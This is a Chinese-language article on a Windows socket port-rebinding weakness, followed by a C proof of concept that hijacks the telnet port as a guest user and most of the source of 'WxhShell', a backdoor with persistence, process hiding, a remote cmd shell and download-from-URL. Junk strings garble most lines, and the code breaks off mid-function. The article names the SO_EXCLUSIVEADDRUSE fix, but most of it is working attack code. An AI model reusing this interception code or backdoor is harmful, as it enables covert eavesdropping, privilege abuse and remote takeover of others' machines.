在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
J>M 9t%f@ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
P@bPdw!JA 3{qB<*!p"G saddr.sin_family = AF_INET;
hKg +A IPn!iv) saddr.sin_addr.s_addr = htonl(INADDR_ANY);
W2%@}IDm J3'q.Pc bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
UFZOu%Y HP7~Zn)c 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
0`V=x+*, 0i5S=L`j 这意味着什么?意味着可以进行如下的攻击:
$U/lm;{% *"OlO}o 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
*N: $,xf :^paI 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
qHheF%[\5 'cu14m_ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
oP
T)vN? ?x 0gI
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
: &nF> 48S
NI 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
yIr0D6L /]0SF_dZ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
FzSL[S4i
Oc,HnyV+ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
OVxg9 p,f$9t4 #include
}%c>Hh #include
d"E3ypPK #include
_B^X3EOc #include
-awG14% DWORD WINAPI ClientThread(LPVOID lpParam);
pyX:$j2R+% int main()
B[h^] k {
LN.*gGl WORD wVersionRequested;
\N-3JO Vy DWORD ret;
x|AND]^Q WSADATA wsaData;
.nNZdta&= BOOL val;
MSBrI3MqQ SOCKADDR_IN saddr;
mJ(ElDG SOCKADDR_IN scaddr;
3.P7GbN int err;
Xf"<
>M SOCKET s;
O8>&J-+2 SOCKET sc;
v>nBdpjXh int caddsize;
rtbV*@Z HANDLE mt;
2yFT` 5+H4 DWORD tid;
_E8Cvaob wVersionRequested = MAKEWORD( 2, 2 );
W2v'2qAs err = WSAStartup( wVersionRequested, &wsaData );
Gj%q:[r if ( err != 0 ) {
4i&Rd1#0dI printf("error!WSAStartup failed!\n");
8mLW^R:` return -1;
$0OOH4 }
&PApO{#Q saddr.sin_family = AF_INET;
ai?N!RX%H +e.w]\} //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
8QL=%Pv q$b4S4Z7 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
FG!hb?_1 saddr.sin_port = htons(23);
br TP}A if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
#*w)rGkU2 {
Ahbh,U printf("error!socket failed!\n");
WI*CuJU<zJ return -1;
8lDb<i }
V?0IMc val = TRUE;
lup2>"?* //SO_REUSEADDR选项就是可以实现端口重绑定的
5}_=q;sZ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
IsJx5GO {
PJ?C[+& printf("error!setsockopt failed!\n");
oclU)f., return -1;
SO STtuT }
Ahba1\,N$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
9LBZMQ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Dm}M8`|X //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
x@/:{B F#)bGi if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
j_h:_D4 {
_Yp~Oj ret=GetLastError();
6ce-92n printf("error!bind failed!\n");
hosY`"X return -1;
T>b"Gj/ }
f}*:wj listen(s,2);
-&]!ig5v while(1)
l\Ww^ {
XR[=W(m} caddsize = sizeof(scaddr);
E^c*x^ //接受连接请求
Olh{<~Fv sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
'|yCDBu if(sc!=INVALID_SOCKET)
@OFxnF` {
X6(s][Wn mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
a]%sks if(mt==NULL)
u8%X~K\ {
-])=\n!= printf("Thread Creat Failed!\n");
|6^%_kO!| break;
Z^'\()3t }
F&7|`o3 }
-r3
s{HO CloseHandle(mt);
P,3w
b }
b5
NlL`g closesocket(s);
|#SZdXg WSACleanup();
v@M^ukk'} return 0;
$?k]KD }
ZMiOKVl DWORD WINAPI ClientThread(LPVOID lpParam)
< FO=PM {
1kUlQ*[<| SOCKET ss = (SOCKET)lpParam;
UuF(n$B SOCKET sc;
%m[ZU<v unsigned char buf[4096];
Z_S{$D SOCKADDR_IN saddr;
Gky^S# long num;
nu~]9~)I DWORD val;
$)8,dS DWORD ret;
dVHbIx //如果是隐藏端口应用的话,可以在此处加一些判断
R1w5,Zt //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
:{lP9%J- saddr.sin_family = AF_INET;
B@6L<oZ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
g*LD}`X/- saddr.sin_port = htons(23);
to,\n"$~! if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~7*2Jp' {
-MTYtw( printf("error!socket failed!\n");
Kr|.I2?" return -1;
`JPkho }
Vq{3:QBR val = 100;
$6D*G-*8 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
NV9JMB{q {
K5XW&|tY! ret = GetLastError();
6'@ {
*
u return -1;
x{<l8vL=-c }
NIbK3`1 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
w7Y@wa! {
02*qf:kTnA ret = GetLastError();
Ov?J"B'F return -1;
IOuqC.RJ}o }
+Y~5197V if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
kL0K[O {
-]D/8,|s printf("error!socket connect failed!\n");
Pgy[\t 2K closesocket(sc);
6W=V8 closesocket(ss);
E0&d*BI2 return -1;
fbbbTZy }
nQ_{IO8/6W while(1)
~) w4Tq {
i 61k //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
6Xm'^T //如果是嗅探内容的话,可以再此处进行内容分析和记录
T:m"
eD; //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
h"0)spF"d num = recv(ss,buf,4096,0);
l$EN7^%w if(num>0)
"opMS/a"7 send(sc,buf,num,0);
dpNERc5 else if(num==0)
S5y.H break;
\#I$H9O num = recv(sc,buf,4096,0);
|C<#M< if(num>0)
25{_x3t^ send(ss,buf,num,0);
.1{{E8Fj else if(num==0)
nR*'
3 break;
}b&S3?ONt }
.#|?-5q/iN closesocket(ss);
/9I/^i~ closesocket(sc);
PS[ C!s&KE return 0 ;
urjf3h[% }
8j3Y&m4^ NM![WvtjW )S2yU<6oOt ==========================================================
s:"Sbml xSK#ovH2 下边附上一个代码,,WXhSHELL
flFdoEV.U) d,JDfG) ==========================================================
%>i:C-l8 *pS 7,Hm #include "stdafx.h"
PMB4]p%o ow3.jHsLA #include <stdio.h>
:Z6j5V;s #include <string.h>
TSsZzsdr2 #include <windows.h>
~qGW94 #include <winsock2.h>
@CL#B98jl #include <winsvc.h>
1H/I- #include <urlmon.h>
{o)pwM"@( ^9q#,6 #pragma comment (lib, "Ws2_32.lib")
g;8 wP5i #pragma comment (lib, "urlmon.lib")
Em@:QmEN 9iZio3m #define MAX_USER 100 // 最大客户端连接数
W_Y8)KxG:L #define BUF_SOCK 200 // sock buffer
:Q3pP"H,} #define KEY_BUFF 255 // 输入 buffer
H%>4z3n
y@!o&,,mq #define REBOOT 0 // 重启
g)#{<#*2 #define SHUTDOWN 1 // 关机
qclc--fsE }>0>OqvF #define DEF_PORT 5000 // 监听端口
6xJffl \?^2}K/ #define REG_LEN 16 // 注册表键长度
sEdz`F #define SVC_LEN 80 // NT服务名长度
vb6EO[e%I PKSfu++Z // 从dll定义API
c8JW]A`9b) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
`!HD.
E[2c typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
"Nj/{BU typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
PLc5m5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
D@*<O=_D( Kx]SiejJ // wxhshell配置信息
>{IPt]PCn struct WSCFG {
r%ES#\L6+| int ws_port; // 监听端口
~&73f7 char ws_passstr[REG_LEN]; // 口令
"/i$_vl int ws_autoins; // 安装标记, 1=yes 0=no
?s^3o{!<W char ws_regname[REG_LEN]; // 注册表键名
TD}<U8I8_ char ws_svcname[REG_LEN]; // 服务名
'YNdrvz char ws_svcdisp[SVC_LEN]; // 服务显示名
0^-1d2Z~ char ws_svcdesc[SVC_LEN]; // 服务描述信息
WxGD*% char ws_passmsg[SVC_LEN]; // 密码输入提示信息
'|^:,@8P9 int ws_downexe; // 下载执行标记, 1=yes 0=no
x^f)I|t char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
([u|j char ws_filenam[SVC_LEN]; // 下载后保存的文件名
XTJD> |0y#} |/ };
U@mznf* J y3dk4s77 // default Wxhshell configuration
LEgP-sW struct WSCFG wscfg={DEF_PORT,
FRrp@hE "xuhuanlingzhe",
\@:,A] 1,
YS9RfK/ "Wxhshell",
[!A[oK9i C "Wxhshell",
:-k|jt "WxhShell Service",
`R[ZY!=+ "Wrsky Windows CmdShell Service",
x.?5-3|d$ "Please Input Your Password: ",
,JV0ib, 1,
5XZ!yYB? "
http://www.wrsky.com/wxhshell.exe",
@%R<3!3v "Wxhshell.exe"
'+cI W(F? };
y~
=H`PAE ijF_
KP' // 消息定义模块
ssi7)0 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
MePD:;mm^ char *msg_ws_prompt="\n\r? for help\n\r#>";
@yaFN>w char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
JF.Lo; char *msg_ws_ext="\n\rExit.";
c0@8KW[, char *msg_ws_end="\n\rQuit.";
lS.Adl^k char *msg_ws_boot="\n\rReboot...";
} p'ZMj& char *msg_ws_poff="\n\rShutdown...";
;hX( /T char *msg_ws_down="\n\rSave to ";
6gg8h>b $E\|\g char *msg_ws_err="\n\rErr!";
*Y m?gCig char *msg_ws_ok="\n\rOK!";
Dsg>~J' 3yZmW$E. char ExeFile[MAX_PATH];
;!4gDvm int nUser = 0;
M<fhQJ HANDLE handles[MAX_USER];
`a& kD|Yh int OsIsNt;
yLX $SR f&^(f1WO SERVICE_STATUS serviceStatus;
pIJXP$v3 SERVICE_STATUS_HANDLE hServiceStatusHandle;
4]y)YNQ( pE4a ~: // 函数声明
'-;[8:y. int Install(void);
Z',!LK! int Uninstall(void);
Ma[EgG int DownloadFile(char *sURL, SOCKET wsh);
{3tzr ;c? int Boot(int flag);
x%G3L\5 void HideProc(void);
L[G O6l int GetOsVer(void);
6Xlzdt int Wxhshell(SOCKET wsl);
nVb@sI{{k void TalkWithClient(void *cs);
0mY Y:?v int CmdShell(SOCKET sock);
5</$dcG int StartFromService(void);
Wy}I"q[~So int StartWxhshell(LPSTR lpCmdLine);
<\aeC2~M =Ph8&l7~sp VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
ut{T:kT VOID WINAPI NTServiceHandler( DWORD fdwControl );
XIHN6aQ{X _!\d?]Ya // 数据结构和表定义
+2~kHrv SERVICE_TABLE_ENTRY DispatchTable[] =
,kN;d}bg {
#<im? {wscfg.ws_svcname, NTServiceMain},
6[> lzEZ {NULL, NULL}
X*8y"~X|vq };
*v>ZE6CL -u2i"I730 // 自我安装
A =Wg0eYy\ int Install(void)
m~ tvuz I {
E7fx4kV char svExeFile[MAX_PATH];
`Lf'/q HKEY key;
n|SV)92o1 strcpy(svExeFile,ExeFile);
}h5i Tc k_al*iM>H // 如果是win9x系统,修改注册表设为自启动
>qjV{M if(!OsIsNt) {
}]?Si6_ZZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
1 DWoL}Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
157_0 RegCloseKey(key);
\N>-+r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
wl
Oeoi RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
tli.g RegCloseKey(key);
/0h
*(nL return 0;
<j'V}|3 }
p\6cpf }
a V3:{oL }
-Mt
5< s else {
[4Z 31v> XpQ Ol // 如果是NT以上系统,安装为系统服务
S&op|Z)1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
U=on}W3V2 if (schSCManager!=0)
gV_/t+jI {
^u/%zL SC_HANDLE schService = CreateService
K"}fD;3 (
yVd^A2
schSCManager,
)?L=o0 wscfg.ws_svcname,
`zwz wscfg.ws_svcdisp,
i=8iK#2 h SERVICE_ALL_ACCESS,
3dShznlf_* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
fV(3RG SERVICE_AUTO_START,
Lpchla$ SERVICE_ERROR_NORMAL,
pJpapA2l*6 svExeFile,
jcH@*c=%e NULL,
nR!e( NULL,
(
?V`|[+u NULL,
PxHFH pL NULL,
!Brtao"m NULL
yC,/R371k );
WeI+|V$ if (schService!=0)
|D3u"Y!:^ {
Q M,!-~t CloseServiceHandle(schService);
&K)8 CloseServiceHandle(schSCManager);
weitDr6 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
wucdXj{% strcat(svExeFile,wscfg.ws_svcname);
l.[pnL D if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
CI|lJ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
kmuksT\)a
RegCloseKey(key);
"cH RGJG# return 0;
<P9fNBGa }
Y4T") }
B{-7 CloseServiceHandle(schSCManager);
D7ex{SVA) }
$6QIYF"" }
_B4&Fb. GN.Oa$ return 1;
|Lq8cA)|y }
o<2GtF1"o _`$LdqgE // 自我卸载
)vr@:PE int Uninstall(void)
j)1y v. {
uGKjZi HKEY key;
e5h*GKF .u`[|:K if(!OsIsNt) {
N!A20Bv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
tiK?VwaKI RegDeleteValue(key,wscfg.ws_regname);
s>rR\` RegCloseKey(key);
ejRK-! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ajbe7#} RegDeleteValue(key,wscfg.ws_regname);
i jI/z5 RegCloseKey(key);
k1 5vs return 0;
)fH
Q7 }
-!\3;/ }
mp|pz%U }
-@uFRQt else {
b^Hrzn
idmU.` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
QbU5FPiN if (schSCManager!=0)
^S#; {
yTaMlT| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
-H1=N if (schService!=0)
@WJ;T= L {
oL4W>b ) if(DeleteService(schService)!=0) {
We+rFk1ddt CloseServiceHandle(schService);
fJ,N.O+9E CloseServiceHandle(schSCManager);
8$Q`wRt(% return 0;
l=^A41L_ }
\}-4(Xdaq CloseServiceHandle(schService);
y)f.ON36I }
!`ol&QQ# CloseServiceHandle(schSCManager);
1I Yip\:lS }
_iwG'a[` }
4"@<bKx aCQtE,. return 1;
NgNGq\! }
Hg+<GML P{L=u74b{x // 从指定url下载文件
7GA8sK int DownloadFile(char *sURL, SOCKET wsh)
Wj{lb_Rj {
B|(g? HRESULT hr;
! VwU=5 char seps[]= "/";
t2&kGf" char *token;
:WhJDx`j
char *file;
sW^M
] char myURL[MAX_PATH];
&K[*vyD char myFILE[MAX_PATH];
5s7BUT CB7dr&> strcpy(myURL,sURL);
=j]y?;7q token=strtok(myURL,seps);
w+o5iPLX while(token!=NULL)
];r!
M0 {
{f*Y}/@ file=token;
\BOoY# !a token=strtok(NULL,seps);
,|%KlHo^ }
:\](m64z; LS@TTiN
GetCurrentDirectory(MAX_PATH,myFILE);
%cNN<x8 strcat(myFILE, "\\");
#J5BHY~ strcat(myFILE, file);
~z[`G#dU send(wsh,myFILE,strlen(myFILE),0);
01bCP send(wsh,"...",3,0);
J?4{#p hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
~NGM6+9 if(hr==S_OK)
*MJm: return 0;
?2<QoS else
Iil2R}1 return 1;
@uSO~.7 d[9,J?'OQ }
G,8mFH >OG189O // 系统电源模块
B`pBIUu int Boot(int flag)
GT>'|~e {
?7\V)$00(& HANDLE hToken;
w+$$uz TOKEN_PRIVILEGES tkp;
=g% L$b<i /"m s if(OsIsNt) {
s|YH_1r OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
#%,X),%- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
YOxgpQ:i tkp.PrivilegeCount = 1;
[o^$WL?c tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
oRfb4+H& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
O[X*F2LC4 if(flag==REBOOT) {
g 2Fg if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
s5,@=(,
return 0;
HOW<IZ^ }
D2e-b else {
yoE-a
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
goM;Pf
"< return 0;
h'ik3mLH }
=D zrM% }
WC_.j^sW else {
G/x6zdk if(flag==REBOOT) {
2"0VXtv6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Y;af|?U*6: return 0;
KFM[caKeJO }
q4BXrEOw else {
&+9 ; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
]dycesc' return 0;
\Y# }
zD_5TGM= }
3}L3n*Ft#. j/V_h'} return 1;
a )O"PA}2 }
as07~Xvp- -]%EX:bm // win9x进程隐藏模块
_JH.&8 void HideProc(void)
,>|tQ' {
2%/F`_XbP O:]']' / HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
1N/4W6 if ( hKernel != NULL )
<Qq
{&,Le {
TtJX(N~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
DpHubqWz ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
LP3#f{U FreeLibrary(hKernel);
>^8O :. }
kV-<[5AWW Z<U,]iZB return;
8~ y!X0Ov! }
6Ga'_P: lw=kTYbq // 获取操作系统版本
LcKc#)'EE int GetOsVer(void)
/fQcrd7h {
e]<Syrk OSVERSIONINFO winfo;
.+7n@Sc winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
d%EdvM|) GetVersionEx(&winfo);
DLwlA!z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
piIZ*@' return 1;
t%@iF
U;} else
b~;:[ #
return 0;
I!zoo[/)% }
x1=`Z@^ U<6)CW1; // 客户端句柄模块
!&%KJS6p4 int Wxhshell(SOCKET wsl)
pI@71~|R {
l6zAMyau5 SOCKET wsh;
EXdX%T\ struct sockaddr_in client;
PvKGB01_ DWORD myID;
TF%n1H-sF c((3 B while(nUser<MAX_USER)
(JU8F-/9 {
(4Db%Iw int nSize=sizeof(client);
za>%hZf\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
P, x"![6 if(wsh==INVALID_SOCKET) return 1;
|E13W k(f),_ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
1P]J3o if(handles[nUser]==0)
TjpyU:R,&| closesocket(wsh);
IO7z}![V; else
'[r: pwE nUser++;
dX\OP> }
=K@LEZZ'/< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
f}dlQkZ( l_yy;e return 0;
F,YPIl }
Iq|h1ie
m+ HX.K{!5 // 关闭 socket
Cq@7oi]W0 void CloseIt(SOCKET wsh)
%>&~?zrq {
H_g]q closesocket(wsh);
ImQ-kz?b nUser--;
4#t'1tzu# ExitThread(0);
&"u(0q }
7Kym|Zg 7$7|~k // 客户端请求句柄
!19T=p/:$ void TalkWithClient(void *cs)
-cUW,>E {
:] Wn26z) "]^U(m>f SOCKET wsh=(SOCKET)cs;
w !kk(QMV char pwd[SVC_LEN];
H:b"Vd"x9 char cmd[KEY_BUFF];
M_O$]^I3w char chr[1];
3SM'vV0[ int i,j;
A._CCou xK8m\=# while (nUser < MAX_USER) {
NO/$}vw 52^3N>X4X if(wscfg.ws_passstr) {
N+V#=Uy if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ob%iZ.D|3< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
[voc_o7AI //ZeroMemory(pwd,KEY_BUFF);
S|d /?}C|e i=0;
d%@0xsU1 while(i<SVC_LEN) {
VK4UhN2 l="(Hp%b // 设置超时
qY&(O`?m& fd_set FdRead;
Cpzd k~+H struct timeval TimeOut;
tzl,r"k3 FD_ZERO(&FdRead);
i K@RQi FD_SET(wsh,&FdRead);
}?b\/l< TimeOut.tv_sec=8;
U>IsmF>m TimeOut.tv_usec=0;
TrZ!E`~ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
kW+>"3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
=Q"thsR <S_0=U if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
[YQtX_;w pwd
=chr[0]; oCwep^P(v
if(chr[0]==0xd || chr[0]==0xa) { ;E}&{w/My
pwd=0; x~l"'qsK
break; e?\Od}Hbw
} p;[.&oJ
i++; H/f}tw
} ,>g(%3C
PazWMmI
// 如果是非法用户,关闭 socket :z?T/9,C
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
zCq6k7u
} WKr4S<B8mr
7d{xXJ-
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Yy!G?>hC
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n n[idw
0o6r3xc;
while(1) { 5Bcmz'?!
X:FyNUa
ZeroMemory(cmd,KEY_BUFF); ;J?fK69%
^=I[uX-3ue
// 自动支持客户端 telnet标准 r?`nc6$0|
j=0; 7|Qb}[s
while(j<KEY_BUFF) { KJn 3&7
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aSm</@tO&
cmd[j]=chr[0]; yokZ>+jb
if(chr[0]==0xa || chr[0]==0xd) { \#h=pz+jb
cmd[j]=0; Jx3a7CpX
break; 7DW-brd
} )W @
j++; L7II>^"B
} ^wIP`dn
(1,4egMpR
// 下载文件 VuBi_v6
if(strstr(cmd,"http://")) { /|Gz<nSc
send(wsh,msg_ws_down,strlen(msg_ws_down),0); p<VW;1bt5
if(DownloadFile(cmd,wsh)) 4J[bh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v&^N +>p
else RplcM%YJn
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4!glgEE*
} Rlr[uU_
else { Yk4ah$}%-^
xoSBMf
switch(cmd[0]) { 6yaWxpW
p8y<:8I
// 帮助 I1ibrn
case '?': { yC}x6xG
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g2lv4Tiq-
break; )P/~{Ci:T&
} @S012} xH
// 安装 [o'}R`5)
case 'i': { +w?1<Z
if(Install()) v|kL7t)}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); QD[l 6
else wZ8LY;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `Q^Vm3h
break; k/xNqN(
} (w 'k\y
// 卸载 [s!c c:JR
case 'r': { )o_$AbPt
if(Uninstall()) 87VXVI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9/\=6vC|
else iL IKrU+`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (i'wa6[E8
break; J0Y-e39 `
} d#- <=6
// 显示 wxhshell 所在路径 %ye4FwkRy
case 'p': { 2LN5}[12]
char svExeFile[MAX_PATH]; k.0pPl
strcpy(svExeFile,"\n\r"); %8L5uMx
strcat(svExeFile,ExeFile); LD5E
send(wsh,svExeFile,strlen(svExeFile),0); RA62Z&W3
break; XG6UV('
} PDh1*bf{u
// 重启 wa9{Q}wSa
case 'b': { ;/nR[sibN
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
X?"Ro`S
if(Boot(REBOOT)) > cJX'U9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =>h~<88#5
else { |Oaj
Jux
closesocket(wsh); ]| =#FFz
ExitThread(0); v3jx2Z
} UUql"$q
break; yIThzyS
} (au7wI{
// 关机 <Gu dx>I
case 'd': { kA:cz$)
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g>R md[!/
if(Boot(SHUTDOWN)) d3C*]|gQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); QO~TuC
else { z//6yr
closesocket(wsh); P(r}<SM
ExitThread(0); 80M4~'3
} KK*"s^L
break; w4+bzdZ
} cE=v566
// 获取shell fx4X!(w!B
case 's': { :@X@8j":
CmdShell(wsh); 8eoDE. }
closesocket(wsh); Vi>kK|\b
ExitThread(0); @{n2R3)k
B
break; mE]W#?
} \oGZM0j
// 退出 D9&FCCiUE
case 'x': { l>9ZAI\^
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m;LeaD}0
CloseIt(wsh); HPj7i;?O
break; f&>Q6 {*]
} B6Tn8@O
// 离开 (iiyptJ
case 'q': { tL4xHa6v]
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^Sr`)vP
closesocket(wsh); 0)qLW&
w
WSACleanup(); vi>V6IC4v
exit(1); >!YI7)
break; #6JCm!s
} N1!|nS3w
} A]vQ1*pnk
} V9m1n=r
|v{a5|<E
// 提示信息 x2TCw
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j:,*Liz
} nmN6RGx
} _hLM\L
'u.`!w '|L
return; b_=k"d
} S?=2GY
o0Hh&:6!M
// shell模块句柄 L+QEFQ:r5
int CmdShell(SOCKET sock) $y> J=
{ r jL%M';
STARTUPINFO si; U07n7`2w
ZeroMemory(&si,sizeof(si)); d=wzN3 ;-
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^fb4g+Au
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Fk
1M5Dm
PROCESS_INFORMATION ProcessInfo; F+AShh
char cmdline[]="cmd"; y#Ch /Jg?|
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .x1EdfHed/
return 0; >UuLSF}
} $0K9OF9$
I\DT(9
'E
// 自身启动模式 rYq8OZLi
int StartFromService(void) 4Kt?; y
;
{ /gHRJ$2|Sx
typedef struct TZZqV8
{ eGLLh_V"
DWORD ExitStatus; c-avX
DWORD PebBaseAddress; ")(1z@
DWORD AffinityMask; )mZ`j.
DWORD BasePriority; A0WQZt!FEN
ULONG UniqueProcessId; M>_S%V4a
ULONG InheritedFromUniqueProcessId; t/S~CIA
